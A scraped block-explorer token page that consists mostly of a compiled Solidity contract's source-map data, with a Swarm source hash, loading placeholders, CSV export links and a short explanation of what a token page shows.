;;-1:-1:-1;6410:4:0;6349:89;6494:4;6460:17;6480:20;;;:5;:20;;;;;;;;:22;;6533:5;:45;;6542:12;:35;;6576:1;6533:45;;6542:35;6555:20;6573:1;6555:13;:6;6573:1;6555:10;:13::i;:::-;:17;;:20::i;:::-;6533:45;;;6539:1;6533:45;-1:-1:-1;;;;;6617:13:0;;;;;;:7;:13;;;;;;6525:53;;-1:-1:-1;6617:25:0;;6635:6;6617:17;:25::i;:::-;-1:-1:-1;;;;;6601:13:0;;;;;;:7;:13;;;;;:41;6679:34;6695:17;:6;6706:5;6695:10;:17::i;:::-;-1:-1:-1;;;;;6679:11:0;;;;;;:7;:11;;;;;;;:15;:34::i;:::-;-1:-1:-1;;;;;6665:11:0;;;;;;:7;:11;;;;;:48;-1:-1:-1;6029:922:0;;-1:-1:-1;;6029:922:0;6244:613;6786:9;;-1:-1:-1;;;6786:9:0;;;;6778:59;;;;-1:-1:-1;;;6778:59:0;;6843:2:1;6778:59:0;;;6825:21:1;6882:2;6862:18;;;6855:30;6921:34;6901:18;;;6894:62;-1:-1:-1;;;6972:18:1;;;6965:36;7018:19;;6778:59:0;6641:402:1;6778:59:0;5977:1052;;6029:922;-1:-1:-1;6931:4:0;5977:1052;;;-1:-1:-1;7013:4:0;5977:1052;7042:19;7039:405;;;7077:10;7089:17;7130:7;2530;2557:6;-1:-1:-1;;;;;2557:6:0;;2492:79;7130:7;-1:-1:-1;;;;;7124:13:0;:2;-1:-1:-1;;;;;7124:13:0;;;:39;;;;-1:-1:-1;;;;;;7141:22:0;;;;;;:18;:22;;;;;;;;7124:39;:65;;;;-1:-1:-1;7175:14:0;;-1:-1:-1;;;;;7167:22:0;;;7175:14;;7167:22;7124:65;7121:161;;;7258:4;7244:20;;;;:5;:20;;;;;;7217:4;;-1:-1:-1;7244:22:0;;:20;;7217:4;7244:22;:::i;:::-;7237:4;7223:20;;;;:5;:20;;;;;:43;;-1:-1:-1;;7223:43:0;;;;;;;;;;;;7121:161;7295:14;7303:5;7295:7;:14::i;:::-;-1:-1:-1;;;;;7340:13:0;;;;;;:7;:13;;;;;;7283:26;;-1:-1:-1;7340:25:0;;7358:6;7340:17;:25::i;:::-;-1:-1:-1;;;;;7324:13:0;;;;;;:7;:13;;;;;:41;7394:38;7410:21;:6;7421:9;7410:10;:21::i;:::-;-1:-1:-1;;;;;7394:11:0;;;;;;:7;:11;;;;;;;:15;:38::i;:::-;-1:-1:-1;;;;;7380:11:0;;;;;;:7;:11;;;;;:52;-1:-1:-1;;7039:405:0;7474:2;-1:-1:-1;;;;;7459:26:0;7468:4;-1:-1:-1;;;;;7459:26:0;;7478:6;7459:26;;;;1342:25:1;;1330:2;1315:18;;1196:177;7459:26:0;;;;;;;;5692:1801;5623:1870;;;:::o;1384:190::-;1470:7;1506:12;1498:6;;;;1490:29;;;;-1:-1:-1;;;1490:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1530:9:0;1542:5;1546:1;1542;:5;:::i;:::-;1530:17;1384:190;-1:-1:-1;;;;;1384:190:0:o;1582:246::-;1640:7;1664:1;1669;1664:6;1660:47;;-1:-1:-1;1694:1:0;1687:8;;1660:47;1717:9;1729:5;1733:1;1729;:5;:::i;:::-;1717:17;-1:-1:-1;1762:1:0;1753:5;1757:1;1717:17;1753:5;:::i;:::-;:10;1745:56;;;;-1:-1:-1;;;1745:56:0;;7758:2:1;1745:56:0;;;7740:21:1;7797:2;7777:18;;;7770:30;7836:34;7816:18;;;7809:62;-1:-1:-1;;;7887:18:1;;;7880:31;7928:19;;1745:56:0;7556:397:1;1745:56:0;1819:1;1582:246;-1:-1:-1;;;1582:246:0:o;1836:132::-;1894:7;1921:39;1925:1;1928;1921:39;;;;;;;;;;;;;;;;;:3;:39::i;1240:136::-;1298:7;1325:43;1329:1;1332;1325:43;;;;;;;;;;;;;;;;;:3;:43::i;1053:179::-;1111:7;;1143:5;1147:1;1143;:5;:::i;:::-;1131:17;;1172:1;1167;:6;;1159:46;;;;-1:-1:-1;;;1159:46:0;;8290:2:1;1159:46:0;;;8272:21:1;8329:2;8309:18;;;8302:30;8368:29;8348:18;;;8341:57;8415:18;;1159:46:0;8088:351:1;5160:112:0;5210:7;5236:5;:28;;5263:1;5236:28;;;-1:-1:-1;;5244:16:0;;;5160:112::o;1976:189::-;2062:7;2097:12;2090:5;2082:28;;;;-1:-1:-1;;;2082:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2121:9:0;2133:5;2137:1;2133;:5;:::i;206:548:1:-;318:4;347:2;376;365:9;358:21;408:6;402:13;451:6;446:2;435:9;431:18;424:34;476:1;486:140;500:6;497:1;494:13;486:140;;;595:14;;;591:23;;585:30;561:17;;;580:2;557:26;550:66;515:10;;486:140;;;490:3;675:1;670:2;661:6;650:9;646:22;642:31;635:42;745:2;738;734:7;729:2;721:6;717:15;713:29;702:9;698:45;694:54;686:62;;;;206:548;;;;:::o;759:173::-;827:20;;-1:-1:-1;;;;;876:31:1;;866:42;;856:70;;922:1;919;912:12;856:70;759:173;;;:::o;937:254::-;1005:6;1013;1066:2;1054:9;1045:7;1041:23;1037:32;1034:52;;;1082:1;1079;1072:12;1034:52;1105:29;1124:9;1105:29;:::i;:::-;1095:39;1181:2;1166:18;;;;1153:32;;-1:-1:-1;;;937:254:1:o;1378:328::-;1455:6;1463;1471;1524:2;1512:9;1503:7;1499:23;1495:32;1492:52;;;1540:1;1537;1530:12;1492:52;1563:29;1582:9;1563:29;:::i;:::-;1553:39;;1611:38;1645:2;1634:9;1630:18;1611:38;:::i;:::-;1601:48;;1696:2;1685:9;1681:18;1668:32;1658:42;;1378:328;;;;;:::o;1900:186::-;1959:6;2012:2;2000:9;1991:7;1987:23;1983:32;1980:52;;;2028:1;2025;2018:12;1980:52;2051:29;2070:9;2051:29;:::i;2299:260::-;2367:6;2375;2428:2;2416:9;2407:7;2403:23;2399:32;2396:52;;;2444:1;2441;2434:12;2396:52;2467:29;2486:9;2467:29;:::i;:::-;2457:39;;2515:38;2549:2;2538:9;2534:18;2515:38;:::i;:::-;2505:48;;2299:260;;;;;:::o;2564:127::-;2625:10;2620:3;2616:20;2613:1;2606:31;2656:4;2653:1;2646:15;2680:4;2677:1;2670:15;2696:422;2785:1;2828:5;2785:1;2842:270;2863:7;2853:8;2850:21;2842:270;;;2922:4;2918:1;2914:6;2910:17;2904:4;2901:27;2898:53;;;2931:18;;:::i;:::-;2981:7;2971:8;2967:22;2964:55;;;3001:16;;;;2964:55;3080:22;;;;3040:15;;;;2842:270;;;2846:3;2696:422;;;;;:::o;3123:806::-;3172:5;3202:8;3192:80;;-1:-1:-1;3243:1:1;3257:5;;3192:80;3291:4;3281:76;;-1:-1:-1;3328:1:1;3342:5;;3281:76;3373:4;3391:1;3386:59;;;;3459:1;3454:130;;;;3366:218;;3386:59;3416:1;3407:10;;3430:5;;;3454:130;3491:3;3481:8;3478:17;3475:43;;;3498:18;;:::i;:::-;-1:-1:-1;;3554:1:1;3540:16;;3569:5;;3366:218;;3668:2;3658:8;3655:16;3649:3;3643:4;3640:13;3636:36;3630:2;3620:8;3617:16;3612:2;3606:4;3603:12;3599:35;3596:77;3593:159;;;-1:-1:-1;3705:19:1;;;3737:5;;3593:159;3784:34;3809:8;3803:4;3784:34;:::i;:::-;3854:6;3850:1;3846:6;3842:19;3833:7;3830:32;3827:58;;;3865:18;;:::i;:::-;3903:20;;3123:806;-1:-1:-1;;;3123:806:1:o;3934:140::-;3992:5;4021:47;4062:4;4052:8;4048:19;4042:4;4021:47;:::i;4079:168::-;4119:7;4185:1;4181;4177:6;4173:14;4170:1;4167:21;4162:1;4155:9;4148:17;4144:45;4141:71;;;4192:18;;:::i;:::-;-1:-1:-1;4232:9:1;;4079:168::o;7048:148::-;7136:4;7115:12;;;7129;;;7111:31;;7154:13;;7151:39;;;7170:18;;:::i;7201:128::-;7268:9;;;7289:11;;;7286:37;;;7303:18;;:::i;7334:217::-;7374:1;7400;7390:132;;7444:10;7439:3;7435:20;7432:1;7425:31;7479:4;7476:1;7469:15;7507:4;7504:1;7497:15;7390:132;-1:-1:-1;7536:9:1;;7334:217::o;7958:125::-;8023:9;;;8044:10;;;8041:36;;;8057:18;;:::i
Swarm Source
ipfs://311540535f50d450a3000be044337d5f821493fd0b11f257e9fde1b0e012d721
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.